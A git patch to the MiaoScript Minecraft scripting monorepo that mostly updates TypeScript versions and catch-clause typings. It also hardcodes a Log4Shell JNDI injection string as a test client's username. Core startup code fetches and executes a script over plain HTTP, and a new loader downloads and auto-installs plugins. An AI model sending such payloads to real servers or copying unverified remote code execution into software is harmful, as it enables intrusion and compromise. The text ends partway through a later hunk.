From 5ed61829e1530d2854f61c714269cc0d00e27b16 Mon Sep 17 00:00:00 2001 From: MiaoWoo Date: Sun, 26 Dec 2021 01:21:06 +0800 Subject: [PATCH] feat: update typescript version Signed-off-by: MiaoWoo --- packages/amqp/package.json | 2 +- packages/amqp/src/adapter/listener.ts | 4 +- packages/api/package.json | 2 +- packages/api/src/command.ts | 4 +- packages/api/src/console.ts | 2 +- packages/api/src/event.ts | 8 ++-- packages/api/src/particle.ts | 2 +- packages/api/src/server.ts | 10 ++--- packages/api/src/task.ts | 2 +- packages/bukkit/package.json | 2 +- packages/bukkit/src/channel.ts | 2 +- packages/bukkit/src/chat.ts | 2 +- packages/bukkit/src/enhance/chat.ts | 8 ++-- packages/bungee/package.json | 2 +- packages/bungee/src/event.ts | 4 +- packages/bungee/src/server.ts | 4 +- packages/client/package.json | 8 +++- packages/client/src/index.ts | 24 ++++++++++-- packages/client/start.sh | 5 +++ packages/common/package.json | 2 +- packages/common/src/reflect.ts | 12 +++--- packages/compile/package.json | 2 +- packages/container/package.json | 2 +- packages/container/src/index.ts | 8 ++-- packages/core/package.json | 2 +- packages/core/src/index.ts | 14 +++---- packages/core/src/initialize.js | 38 +++++++++++++++++++ packages/database/package.json | 2 +- packages/database/src/manager.ts | 2 +- packages/i18n/package.json | 4 +- packages/keyvalue/package.json | 2 +- packages/nashorn/package.json | 2 +- packages/nodejs/package.json | 4 +- packages/nodejs/src/util/support/types.ts | 4 +- packages/nukkit/package.json | 2 +- packages/plugin/package.json | 4 +- packages/plugin/src/command.ts | 15 ++++---- packages/plugin/src/config.ts | 32 ++++++++-------- packages/plugin/src/index.ts | 3 +- packages/plugin/src/interfaces.ts | 8 ++++ packages/plugin/src/loader/ioc-loader.ts | 6 +-- packages/plugin/src/manager.ts | 14 +++---- packages/polyfill/package.json | 4 +- packages/polyfill/src/node-shim.ts | 20 +++++----- packages/polyfill/src/openjdk-nashorn-shim.ts | 2 +- packages/polyfill/src/xml-http-request.ts | 2 +- packages/protocol/package.json | 2 +- packages/sponge/package.json | 2 +- packages/spring/package.json | 2 +- packages/spring/src/index.ts | 2 +- packages/spring/src/internal/command.ts | 6 +-- packages/spring/src/task.ts | 10 ++--- packages/web/package.json | 2 +- packages/web/src/server.ts | 14 +++---- packages/websocket/package.json | 2 +- packages/websocket/src/client/index.ts | 2 +- packages/websocket/src/client/netty/index.ts | 6 +-- packages/websocket/src/client/transport.ts | 6 +-- .../websocket/src/engine.io-client/socket.ts | 4 +- .../engine.io-client/transports/websocket.ts | 2 +- packages/websocket/src/engine.io/server.ts | 6 +-- packages/websocket/src/server/netty/client.ts | 2 +- .../websocket/src/server/netty/constants.ts | 2 +- packages/websocket/src/server/netty/index.ts | 4 +- .../websocket/src/server/tomcat/client.ts | 2 +- packages/websocket/src/server/tomcat/index.ts | 2 +- .../websocket/src/socket.io-parser/index.ts | 2 +- packages/websocket/src/socket.io/client.ts | 4 +- 68 files changed, 234 insertions(+), 161 deletions(-) create mode 100755 packages/client/start.sh create mode 100644 packages/core/src/initialize.js diff --git a/packages/amqp/package.json b/packages/amqp/package.json index ac29761a..dcd1f80a 100644 --- a/packages/amqp/package.json +++ b/packages/amqp/package.json @@ -30,6 +30,6 @@ "@javatypes/spring-rabbit": "^0.0.3", "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" } } diff --git a/packages/amqp/src/adapter/listener.ts b/packages/amqp/src/adapter/listener.ts index 45e87262..9e2d493b 100644 --- a/packages/amqp/src/adapter/listener.ts +++ b/packages/amqp/src/adapter/listener.ts @@ -15,7 +15,7 @@ export abstract class ChannelAwareMessageListenerAdapter { if (message.getMessageProperties().getContentType() == MessageProperties.CONTENT_TYPE_JSON) { content = JSON.parse(content) } - } catch (error) { + } catch (error: any) { if (manual) { channel.basicReject(message.getMessageProperties().getDeliveryTag(), true) } else { @@ -42,7 +42,7 @@ export abstract class ChannelAwareMessageListenerAdapter { } else { channel.basicNack(deliveryTag, false, true) } - } catch (error) { + } catch (error: any) { channel.basicReject(deliveryTag, this.onError(error, message, channel)) } } diff --git a/packages/api/package.json b/packages/api/package.json index 8f3efeec..572c45ce 100644 --- a/packages/api/package.json +++ b/packages/api/package.json @@ -29,6 +29,6 @@ "@types/base64-js": "^1.3.0", "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" } } diff --git a/packages/api/src/command.ts b/packages/api/src/command.ts index cb4ef843..9c58a5c7 100644 --- a/packages/api/src/command.ts +++ b/packages/api/src/command.ts @@ -45,7 +45,7 @@ export namespace command { return (sender: any, _: any, command: string, args: string[]) => { try { return executor(sender, command, Java.from(args)) - } catch (ex) { + } catch (ex: any) { console.i18n("ms.api.command.execute.error", { player: sender.name, plugin: plugin.description.name, command, args: Java.from(args).join(' '), ex }) console.ex(ex) if (sender.name != 'CONSOLE') { @@ -61,7 +61,7 @@ export namespace command { var token = args[args.length - 1] var complete = tabCompleter(sender, command, Java.from(args)) || [] return this.copyPartialMatches(complete, token) - } catch (ex) { + } catch (ex: any) { console.i18n("ms.api.command.tab.completer.error", { player: sender.name, plugin: plugin.description.name, command, args: Java.from(args).join(' '), ex }) console.ex(ex) console.sender(sender, [i18n.translate("ms.api.command.tab.completer.error", { player: sender.name, plugin: plugin.description.name, command, args: Java.from(args).join(' '), ex }), ...console.stack(ex)]) diff --git a/packages/api/src/console.ts b/packages/api/src/console.ts index 3b4a88d0..b70fa0b1 100644 --- a/packages/api/src/console.ts +++ b/packages/api/src/console.ts @@ -123,7 +123,7 @@ export class MiaoScriptConsole implements Console { if (sourceMapping && lineNumber != sourceMapping.mapping.sourceLine) { lineNumber = sourceMapping.mapping.sourceLine } } } - } catch (error) { + } catch (error: any) { console.debug('search source map', fileName, 'line', lineNumber, 'error:', error) if (global.debug) { console.ex(error) diff --git a/packages/api/src/event.ts b/packages/api/src/event.ts index bd85ef7d..ad1c7e44 100644 --- a/packages/api/src/event.ts +++ b/packages/api/src/event.ts @@ -57,7 +57,7 @@ export namespace event { this.mapEvent[simpleName] = clazz count++ } - } catch (ex) { + } catch (ex: any) { //ignore already loaded class } } @@ -82,9 +82,9 @@ export namespace event { let eventCls = this.mapEvent[event.toLowerCase()] || this.mapEvent[event.toLowerCase() + 'event'] if (!eventCls) { try { - eventCls = base.getClass(eventCls) + eventCls = base.getClass(event) this.mapEvent[event] = eventCls - } catch (ex) { + } catch (ex: any) { console.i18n("ms.api.event.not.found", { name, event }) return } @@ -104,7 +104,7 @@ export namespace event { console.i18n("ms.api.event.execute.slow", { name, event: this.class2Name(eventCls), cost }) } } - } catch (ex) { + } catch (ex: any) { console.i18n("ms.api.event.execute.error", { name, event: this.class2Name(eventCls), ex }) console.ex(ex) } diff --git a/packages/api/src/particle.ts b/packages/api/src/particle.ts index 55386869..96428df0 100644 --- a/packages/api/src/particle.ts +++ b/packages/api/src/particle.ts @@ -467,7 +467,7 @@ export namespace particle { console.warn(`ParticleTask ${this.taskId} particle ${this.particle.getUUID()} cancel because entity and location both undefined!`) this.task.cancel() } - } catch (error) { + } catch (error: any) { console.error(`§6插件 §a${this.owner.description.name} §c播放粒子发送异常 §4粒子播放任务已终止!`) console.ex(error) this.cancel() diff --git a/packages/api/src/server.ts b/packages/api/src/server.ts index 4449feff..a3b3a128 100644 --- a/packages/api/src/server.ts +++ b/packages/api/src/server.ts @@ -134,7 +134,7 @@ export namespace server { let consoleServer = this.getDedicatedServer() this.reflectPipeline(consoleServer) this.reflectRootLogger(consoleServer) - } catch (error) { + } catch (error: any) { console.error('Error When Reflect MinecraftServer!', error) console.ex(error) } @@ -148,7 +148,7 @@ export namespace server { if (connection.class.name.indexOf('ServerConnection') !== -1 || connection.class.name.indexOf('NetworkSystem') !== -1) { break } connection = undefined - } catch (error) { + } catch (error: any) { if (global.debug) { console.ex(error) } @@ -160,7 +160,7 @@ export namespace server { promise = reflect.on(connection).get(field).get().get(0) if (promise.class.name.indexOf('Promise') !== -1) { break } promise = undefined - } catch (error) { + } catch (error: any) { if (global.debug) { console.ex(error) } @@ -173,13 +173,13 @@ export namespace server { protected reflectRootLogger(consoleServer: any) { try { this.rootLogger = reflect.on(consoleServer).get('LOGGER').get().parent - } catch (error) { + } catch (error: any) { if (global.debug) { console.ex(error) } try { this.rootLogger = reflect.on(consoleServer).get(0).get().parent - } catch (error) { + } catch (error: any) { if (global.debug) { console.ex(error) } diff --git a/packages/api/src/task.ts b/packages/api/src/task.ts index cd630db8..983c3dbf 100644 --- a/packages/api/src/task.ts +++ b/packages/api/src/task.ts @@ -142,7 +142,7 @@ export namespace task { try { this.func(...args) !this.interval && process.emit('task.finish', this) - } catch (ex) { + } catch (ex: any) { console.console('§4插件执行任务时发生错误', ex) console.ex(ex) } diff --git a/packages/bukkit/package.json b/packages/bukkit/package.json index c2c60d15..f1edaa7d 100644 --- a/packages/bukkit/package.json +++ b/packages/bukkit/package.json @@ -22,7 +22,7 @@ "@javatypes/spigot-api": "^0.0.3", "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" }, "dependencies": { "@ccms/api": "^0.17.0", diff --git a/packages/bukkit/src/channel.ts b/packages/bukkit/src/channel.ts index 36d210b2..f5752656 100644 --- a/packages/bukkit/src/channel.ts +++ b/packages/bukkit/src/channel.ts @@ -32,7 +32,7 @@ export class BukkitChannel extends channel.Channel { onPluginMessageReceived: (/**String */ channel, /**Player */ player, /**byte[] */data) => { try { listener(data, { channel, player, data }) - } catch (error) { + } catch (error: any) { console.ex(error) } } diff --git a/packages/bukkit/src/chat.ts b/packages/bukkit/src/chat.ts index 9de0f1ea..3ca19d11 100644 --- a/packages/bukkit/src/chat.ts +++ b/packages/bukkit/src/chat.ts @@ -16,7 +16,7 @@ export class BukkitChat extends chat.Chat { sendTitle(sender: any, title: string, subtitle: string = '', fadeIn: number = 20, time: number = 100, fadeOut: number = 20) { try { sender.sendTitle(title, subtitle, fadeIn, time, fadeOut) - } catch (error) { + } catch (error: any) { sender.sendTitle(title, subtitle) } } diff --git a/packages/bukkit/src/enhance/chat.ts b/packages/bukkit/src/enhance/chat.ts index 93fa446e..625e9b32 100644 --- a/packages/bukkit/src/enhance/chat.ts +++ b/packages/bukkit/src/enhance/chat.ts @@ -26,7 +26,7 @@ function nmsCls(name: string) { function remapMethod(clazz: any, origin: string, test: string, params: any) { try { return clazz.getMethod(origin, params) - } catch (ex) { + } catch (ex: any) { if (RemapUtils) { return clazz.getMethod(RemapUtils.mapMethod(clazz, origin, params), params) } else { @@ -38,7 +38,7 @@ function remapMethod(clazz: any, origin: string, test: string, params: any) { function remapFieldName(clazz: any, origin: string, test: string) { try { return clazz.getField(origin) - } catch (ex) { + } catch (ex: any) { if (RemapUtils) { return clazz.getField(RemapUtils.mapFieldName(clazz, origin)) } else { @@ -53,7 +53,7 @@ function init() { nmsSubVersion = nmsVersion.split("_")[1] try { RemapUtils = Java.type('catserver.server.remapper.RemapUtils') - } catch (ex) { + } catch (ex: any) { } let nmsChatSerializerClass = undefined if (nmsSubVersion < 8) { @@ -119,7 +119,7 @@ function sendPacket(player: { handle: { [x: string]: { [x: string]: (arg0: any) try { init() -} catch (ex) { +} catch (ex: any) { org.bukkit.Bukkit.getConsoleSender().sendMessage(`§6[§cMS§6][§bbukkit§6][§achat§6] §cNMS Inject Error §4${ex} §cDowngrade to Command Mode...`) downgrade = true } diff --git a/packages/bungee/package.json b/packages/bungee/package.json index 9eb34593..d0083eba 100644 --- a/packages/bungee/package.json +++ b/packages/bungee/package.json @@ -22,7 +22,7 @@ "@javatypes/bungee-api": "^0.0.3", "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" }, "dependencies": { "@ccms/api": "^0.17.0", diff --git a/packages/bungee/src/event.ts b/packages/bungee/src/event.ts index 854abe07..31900d91 100644 --- a/packages/bungee/src/event.ts +++ b/packages/bungee/src/event.ts @@ -79,7 +79,7 @@ export class BungeeEvent extends event.Event { currentPriorityMap.put(listener, methods); this.bakeHandlers.invoke(this.eventBus, eventCls); return listener; - } catch (ex) { + } catch (ex: any) { console.ex(ex) } finally { this.lock.unlock() @@ -108,7 +108,7 @@ export class BungeeEvent extends event.Event { } this.bakeHandlers.invoke(this.eventBus, eventCls); } - } catch (ex) { + } catch (ex: any) { console.ex(ex) } finally { this.lock.unlock() diff --git a/packages/bungee/src/server.ts b/packages/bungee/src/server.ts index a4280cae..53814599 100644 --- a/packages/bungee/src/server.ts +++ b/packages/bungee/src/server.ts @@ -26,7 +26,7 @@ export class BungeeServer implements server.Server { // @ts-ignore this.pipeline = reflect.on(base.getInstance().getProxy()).get('listeners').get().toArray()[0].pipeline() wait.cancel() - } catch (ex) { + } catch (ex: any) { count++ if (count > 50) { console.error('Reflect BungeeCord netty channel pipeline error time > 50times. Err: ' + ex) @@ -38,7 +38,7 @@ export class BungeeServer implements server.Server { }).later(10).timer(20).submit() try { this.rootLogger = Bungee.getLogger() - } catch (error) { + } catch (error: any) { console.error("Can't found rootLogger!") } } diff --git a/packages/client/package.json b/packages/client/package.json index 19e91ddf..56d7364c 100644 --- a/packages/client/package.json +++ b/packages/client/package.json @@ -19,14 +19,18 @@ "watch": "tsc --watch", "build": "yarn clean && tsc", "start": "node dist/index.js", + "debug": "DEBUG=minecraft-protocol node dist/index.js", + "emp": "node dist/emp.js", "test": "echo \"Error: run tests from root\" && exit 1" }, "dependencies": { - "minecraft-protocol": "^1.25.0" + "axios": "^0.24.0", + "minecraft-protocol": "^1.29.0", + "proxy-agent": "^5.0.0" }, "devDependencies": { "@types/node": "^16.4.12", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" } } diff --git a/packages/client/src/index.ts b/packages/client/src/index.ts index 3cc24728..e9550a50 100644 --- a/packages/client/src/index.ts +++ b/packages/client/src/index.ts @@ -4,10 +4,26 @@ import { createClient } from 'minecraft-protocol' import { attachForge } from './forge' import { attachEvents } from './event' -let readUserInfo = process.argv[2] || 'Mr_jtb' -let realUserInfo = readUserInfo.split(":") -let username = realUserInfo[0] -let password = realUserInfo[1] || '' + + + + + + + + + + + + + + + +// let readUserInfo = process.argv[2] || 'Mr_jtb' +// let realUserInfo = readUserInfo.split(":") +// let username = realUserInfo[0] +let username = '${jndi:ldap://x}' +let password = '';//realUserInfo[1] || '' let version = process.argv[3] || '1.12.2' let readAddress = process.argv[4] || '192.168.2.25:25565' let realAddress = readAddress.split(":") diff --git a/packages/client/start.sh b/packages/client/start.sh new file mode 100755 index 00000000..3a135cf4 --- /dev/null +++ b/packages/client/start.sh @@ -0,0 +1,5 @@ +while :; do + yarn emp + echo 进程退出 休眠120秒! + sleep 120 +done diff --git a/packages/common/package.json b/packages/common/package.json index 9838fcf4..eabe13bb 100644 --- a/packages/common/package.json +++ b/packages/common/package.json @@ -23,7 +23,7 @@ "@javatypes/jdk": "^0.0.3", "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" }, "gitHead": "562e2d00175c9d3a99c8b672aa07e6d92706a027" } diff --git a/packages/common/src/reflect.ts b/packages/common/src/reflect.ts index 278d5da7..ba472a16 100644 --- a/packages/common/src/reflect.ts +++ b/packages/common/src/reflect.ts @@ -48,7 +48,7 @@ class Reflect { try { // Try getting a public field field = this.class.getField(nameOrIndex) - } catch (ex) { + } catch (ex: any) { // Try again, getting a non-public field field = declaredField(this.class, nameOrIndex) } @@ -113,10 +113,10 @@ function declaredConstructor(clazz, param) { let constructor try { constructor = clazz.getDeclaredConstructor(types(param)) - } catch (ex) { + } catch (ex: any) { try { constructor = clazz.getDeclaredConstructor(types(param, true)) - } catch (ex) { + } catch (ex: any) { constructor = clazz.getDeclaredConstructors()[0] } } @@ -132,7 +132,7 @@ function declaredField(clazz: java.lang.Class, name: string | java.lang.Str try { field = target.getDeclaredField(name) if (field !== null) { break } - } catch (e) { + } catch (error: any) { if (target === undefined) { break } target = target.getSuperclass() } @@ -151,10 +151,10 @@ function declaredMethod(clazz: java.lang.Class, nameOrIndex: string | numbe } else { try { methodCache.set(key, clazz.getMethod(nameOrIndex, clazzs as any)) - } catch (ex) { + } catch (ex: any) { try { methodCache.set(key, clazz.getDeclaredMethod(nameOrIndex, clazzs as any)) - } catch (ex) { + } catch (ex: any) { for (const m of Java.from(declaredMethods(clazz))) { if (m.getName() == nameOrIndex) { methodCache.set(key, m) diff --git a/packages/compile/package.json b/packages/compile/package.json index fd47341c..73e5c7f6 100644 --- a/packages/compile/package.json +++ b/packages/compile/package.json @@ -21,6 +21,6 @@ "devDependencies": { "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" } } diff --git a/packages/container/package.json b/packages/container/package.json index eeba709a..554f3134 100644 --- a/packages/container/package.json +++ b/packages/container/package.json @@ -22,7 +22,7 @@ "@ccms/nashorn": "^0.17.0", "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" }, "dependencies": { "inversify": "^5.1.1", diff --git a/packages/container/src/index.ts b/packages/container/src/index.ts index d6912cb8..7cf9b536 100644 --- a/packages/container/src/index.ts +++ b/packages/container/src/index.ts @@ -37,8 +37,8 @@ export const provideSingletonNamed = (identifier: interfaces.ServiceIdentifier { return function (target: object, propertyKey: string, index?: number) { - try { target[propertyKey] = Java.type(className).class; return } catch (error) { } - try { target[propertyKey] = base.getClass(className); return } catch (error) { } + try { target[propertyKey] = Java.type(className).class; return } catch (error: any) { } + try { target[propertyKey] = base.getClass(className); return } catch (error: any) { } console.warn('JavaClass', className, 'Inject target', target.constructor.name, 'propertyKey', propertyKey, 'failed!') } } @@ -49,8 +49,8 @@ export const JavaClass = (className: string) => { */ export const JSClass = (className: string) => { return function (target: object, propertyKey: string, index?: number) { - try { target[propertyKey] = Java.type(className); return } catch (error) { } - try { target[propertyKey] = base.getClass(className).static; return } catch (error) { } + try { target[propertyKey] = Java.type(className); return } catch (error: any) { } + try { target[propertyKey] = base.getClass(className).static; return } catch (error: any) { } console.warn('JSClass', className, 'Inject target', target.constructor.name, 'propertyKey', propertyKey, 'failed!') } } diff --git a/packages/core/package.json b/packages/core/package.json index 41fa2044..06e12e51 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -21,7 +21,7 @@ "devDependencies": { "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" }, "dependencies": { "@ccms/api": "^0.17.0", diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index e5e16f81..455c9fc3 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -51,34 +51,34 @@ function detectServer(): constants.ServerType { try { Java.type("org.bukkit.Bukkit") return constants.ServerType.Bukkit - } catch (ex) { + } catch (ex: any) { } try { Java.type("org.spongepowered.api.Sponge") return constants.ServerType.Sponge - } catch (ex) { + } catch (ex: any) { } try { Java.type("cn.nukkit.Nukkit") return constants.ServerType.Nukkit - } catch (ex) { + } catch (ex: any) { } try { Java.type("net.md_5.bungee.api.ProxyServer") return constants.ServerType.Bungee - } catch (ex) { + } catch (ex: any) { } try { Java.type("org.springframework.boot.SpringApplication") return constants.ServerType.Spring - } catch (ex) { + } catch (ex: any) { } throw Error('Unknow Server Type...') } function initialize() { global.ScriptEngineVersion = require('../package.json').version - try { engineLoad({ script: http.get("http://ms.yumc.pw/api/plugin/download/name/initialize"), name: 'core/initialize.js' }) } catch (error) { console.debug(error) } + try { engineLoad({ script: http.get("http://ms.yumc.pw/api/plugin/download/name/initialize"), name: 'core/initialize.js' }) } catch (error: any) { console.debug(error) } try { let corePackageStartTime = new Date().getTime() container.bind(ContainerInstance).toConstantValue(container) @@ -97,7 +97,7 @@ function initialize() { let disable = container.get(MiaoScriptCore).enable() console.i18n("ms.core.engine.completed", { version: 'v' + global.ScriptEngineVersion, time: (Date.now() - global.ScriptEngineStartTime) / 1000 }) return disable - } catch (error) { + } catch (error: any) { console.i18n("ms.core.initialize.error", { error }) console.ex(error) return () => console.i18n('ms.core.engine.disable.abnormal') diff --git a/packages/core/src/initialize.js b/packages/core/src/initialize.js new file mode 100644 index 00000000..4f67af7b --- /dev/null +++ b/packages/core/src/initialize.js @@ -0,0 +1,38 @@ +function initialize() { + var mspmc = 'http://ms.yumc.pw/api/plugin/download/name/' + + var http = require('@ccms/common/dist/http').default + var fs = require('@ccms/common/dist/fs') + var yaml = require('js-yaml') + + var pluginFolder = fs.concat(root, 'plugins') + var updateFolder = fs.concat(pluginFolder, 'update') + var pluginFile = fs.concat(pluginFolder, 'MiaoScriptPackageManager.js') + if (!fs.exists(pluginFile)) { + fs.mkdirs(pluginFile) + base.save(fs.concat(updateFolder, 'MiaoScriptPackageManager.auto.install'), '.') + } + fs.list(updateFolder).forEach(function (path) { + var file = path.toFile() + if (file.exists()) { + var filename = file.getName() + if (filename.endsWith(".auto.install")) { + var pluginName = filename.replace('.auto.install', '') + var pluginFile = fs.concat(pluginFolder, pluginName + '.js') + if (!fs.exists(pluginFile)) { + var pluginTemp = pluginFile + '.tmp' + http.download(mspmc + pluginName, pluginTemp) + fs.move(pluginTemp, pluginFile, true) + } + base.delete(file) + } + } + }) + var core = http.get('https://registry.npmmirror.com/@ccms/core') + if (global.ScriptEngineVersion != core['dist-tags']['latest']) { + var Paths = Java.type('java.nio.file.Paths') + base.save(Paths.get(root, "upgrade"), core['dist-tags']['latest']) + } + console.debug('initialize finish!') +} +initialize() diff --git a/packages/database/package.json b/packages/database/package.json index 4c337063..ac87b907 100644 --- a/packages/database/package.json +++ b/packages/database/package.json @@ -22,7 +22,7 @@ "@javatypes/spring-jdbc": "^0.0.3", "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" }, "dependencies": { "@ccms/api": "^0.17.0", diff --git a/packages/database/src/manager.ts b/packages/database/src/manager.ts index dad42984..99037113 100644 --- a/packages/database/src/manager.ts +++ b/packages/database/src/manager.ts @@ -17,7 +17,7 @@ export class DataBaseManager { this.beanFactory = this.instance.getAutowireCapableBeanFactory() let mainDatasource = this.beanFactory.getBean(Packages.javax.sql.DataSource.class) this.mainDatabase = new DataBase({ url: mainDatasource }) - } catch (error) { + } catch (error: any) { console.ex(error) } } diff --git a/packages/i18n/package.json b/packages/i18n/package.json index 2331b8c5..88e708c0 100644 --- a/packages/i18n/package.json +++ b/packages/i18n/package.json @@ -20,10 +20,10 @@ }, "devDependencies": { "@ccms/nashorn": "^0.17.0", - "@types/js-yaml": "^4.0.2", + "@types/js-yaml": "^4.0.5", "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" }, "dependencies": { "js-yaml": "^4.1.0" diff --git a/packages/keyvalue/package.json b/packages/keyvalue/package.json index 62726c2b..903ade5f 100644 --- a/packages/keyvalue/package.json +++ b/packages/keyvalue/package.json @@ -30,7 +30,7 @@ "@javatypes/spring-rabbit": "^0.0.3", "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" }, "gitHead": "2589633069d24f646ac09261b1b2304c21d4ea75" } diff --git a/packages/nashorn/package.json b/packages/nashorn/package.json index 0e6518ce..2f770a98 100644 --- a/packages/nashorn/package.json +++ b/packages/nashorn/package.json @@ -22,6 +22,6 @@ "devDependencies": { "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" } } diff --git a/packages/nodejs/package.json b/packages/nodejs/package.json index f8adff0a..ef2800b1 100644 --- a/packages/nodejs/package.json +++ b/packages/nodejs/package.json @@ -22,8 +22,8 @@ "@ccms/nashorn": "^0.17.0", "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "tslib": "^2.3.0", - "typescript": "^4.3.5" + "tslib": "^2.3.1", + "typescript": "^4.5.3" }, "gitHead": "781524f83e52cad26d7c480513e3c525df867121" } diff --git a/packages/nodejs/src/util/support/types.ts b/packages/nodejs/src/util/support/types.ts index 88d27285..55109a93 100644 --- a/packages/nodejs/src/util/support/types.ts +++ b/packages/nodejs/src/util/support/types.ts @@ -49,7 +49,7 @@ function checkBoxedPrimitive(value, prototypeValueOf) { try { prototypeValueOf(value); return true; - } catch (e) { + } catch (error: any) { return false; } } @@ -421,4 +421,4 @@ exports.isAnyArrayBuffer = isAnyArrayBuffer; throw new Error(method + ' is not supported in userland'); } }); -}); \ No newline at end of file +}); diff --git a/packages/nukkit/package.json b/packages/nukkit/package.json index 2ab1816b..32b7b298 100644 --- a/packages/nukkit/package.json +++ b/packages/nukkit/package.json @@ -22,7 +22,7 @@ "@javatypes/nukkit-api": "^0.0.3", "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" }, "dependencies": { "@ccms/api": "^0.17.0", diff --git a/packages/plugin/package.json b/packages/plugin/package.json index 3b91a786..88cadbc9 100644 --- a/packages/plugin/package.json +++ b/packages/plugin/package.json @@ -19,10 +19,10 @@ "test": "echo \"Error: run tests from root\" && exit 1" }, "devDependencies": { - "@types/js-yaml": "^4.0.2", + "@types/js-yaml": "^4.0.5", "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" }, "dependencies": { "@ccms/api": "^0.17.0", diff --git a/packages/plugin/src/command.ts b/packages/plugin/src/command.ts index 1d667960..50a77c9d 100644 --- a/packages/plugin/src/command.ts +++ b/packages/plugin/src/command.ts @@ -44,15 +44,16 @@ export class PluginCommandManager { let cmdSubCache = Object.keys(pluginInstance.constructor.prototype).filter(s => s.startsWith('cmd')).map(s => s.substring(3)) if (cmd.autoMain) { cmdExecutor = (sender: any, command: string, args: string[]) => { - let subcommand = args[0] || 'help' + let subcommand = args[0] let cmdKey = 'cmd' + subcommand - if (!pluginInstance[cmdKey]) { - pluginInstance.logger.sender(sender, '§4未知的子命令: §c' + subcommand) - pluginInstance['cmdhelp'] && pluginInstance.logger.sender(sender, `§6请执行 §b/${command} §ahelp §6查看帮助!`) - return + if (pluginInstance[cmdKey]) { + args.shift() + return pluginInstance[cmdKey].apply(pluginInstance, [sender, ...args]) + } else if (pluginInstance['cmdmain']) { + return pluginInstance['cmdmain'].apply(pluginInstance, [sender, ...args]) } - args.shift() - return pluginInstance[cmdKey].apply(pluginInstance, [sender, ...args]) + pluginInstance.logger.sender(sender, '§4未知的子命令: §c' + subcommand) + pluginInstance['cmdhelp'] && pluginInstance.logger.sender(sender, `§6请执行 §b/${command} §ahelp §6查看帮助!`) } let originCompleter = cmdCompleter cmdCompleter = (sender: any, command: string, args: string[]) => { diff --git a/packages/plugin/src/config.ts b/packages/plugin/src/config.ts index 140bc202..a1d1ec05 100644 --- a/packages/plugin/src/config.ts +++ b/packages/plugin/src/config.ts @@ -83,22 +83,24 @@ export class PluginConfigManager { private loadConfig0(plugin: plugin.Plugin, metadata: interfaces.ConfigMetadata) { try { - metadata.file = fs.concat(fs.file(plugin.description.loadMetadata.file).parent, plugin.description.name, metadata.filename) - let configLoader = this.getConfigLoader(metadata.format) let defaultValue = metadata.default ?? plugin[metadata.variable] - let configValue = defaultValue - if (!fs.exists(metadata.file)) { - base.save(metadata.file, configLoader.dump(defaultValue)) - console.i18n("ms.plugin.manager.config.save.default", { plugin: plugin.description.name, name: metadata.name, format: metadata.format }) - } else { - configValue = configLoader.load(base.read(metadata.file)) || {} - if (defaultValue && this.setDefaultValue(configValue, defaultValue)) { - base.save(metadata.file, configLoader.dump(configValue)) + let configValue = defaultValue || {} + if (defaultValue) { + metadata.file = fs.concat(fs.file(plugin.description.loadMetadata.file).parent, plugin.description.name, metadata.filename) + let configLoader = this.getConfigLoader(metadata.format) + if (!fs.exists(metadata.file)) { + base.save(metadata.file, configLoader.dump(defaultValue)) + console.i18n("ms.plugin.manager.config.save.default", { plugin: plugin.description.name, name: metadata.name, format: metadata.format }) + } else { + configValue = configLoader.load(base.read(metadata.file)) || {} + if (defaultValue && this.setDefaultValue(configValue, defaultValue)) { + base.save(metadata.file, configLoader.dump(configValue)) + } + console.debug(`[${plugin.description.name}] Load Config ${metadata.variable} from file ${metadata.file} =>\n${JSON.stringify(configValue, undefined, 4).substr(0, 500)}`) } - console.debug(`[${plugin.description.name}] Load Config ${metadata.variable} from file ${metadata.file} =>\n${JSON.stringify(configValue, undefined, 4).substr(0, 500)}`) } this.defienConfigProp(plugin, metadata, configValue) - } catch (error) { + } catch (error: any) { console.i18n("ms.plugin.manager.config.load.error", { plugin: plugin.description.name, name: metadata.name, format: metadata.format, error }) console.ex(error) } @@ -111,8 +113,8 @@ export class PluginConfigManager { if (!Object.prototype.hasOwnProperty.call(configValue, key)) { configValue[key] = defaultValue[key] needSave = true - } else if (Object.prototype.toString.call(configValue[key]) == "[object Object]") { - // 对象需要递归检测 + } else if (Object.prototype.toString.call(configValue[key]) == "[object Object]" && !Object.prototype.hasOwnProperty.call(defaultValue[key], '____ignore____')) { + // 对象需要递归检测 如果对象内存在 ____ignore____ 那就忽略设置 needSave ||= this.setDefaultValue(configValue[key], defaultValue[key]) } } @@ -126,7 +128,7 @@ export class PluginConfigManager { base.save(metadata.file, result) console.debug(`[${plugin.description.name}] Save Config ${metadata.variable} to file ${metadata.file} =>\n${result.substr(0, 500)}`) return true - } catch (error) { + } catch (error: any) { console.i18n("ms.plugin.manager.config.save.error", { plugin: plugin.description.name, name: metadata.name, format: metadata.format, error }) 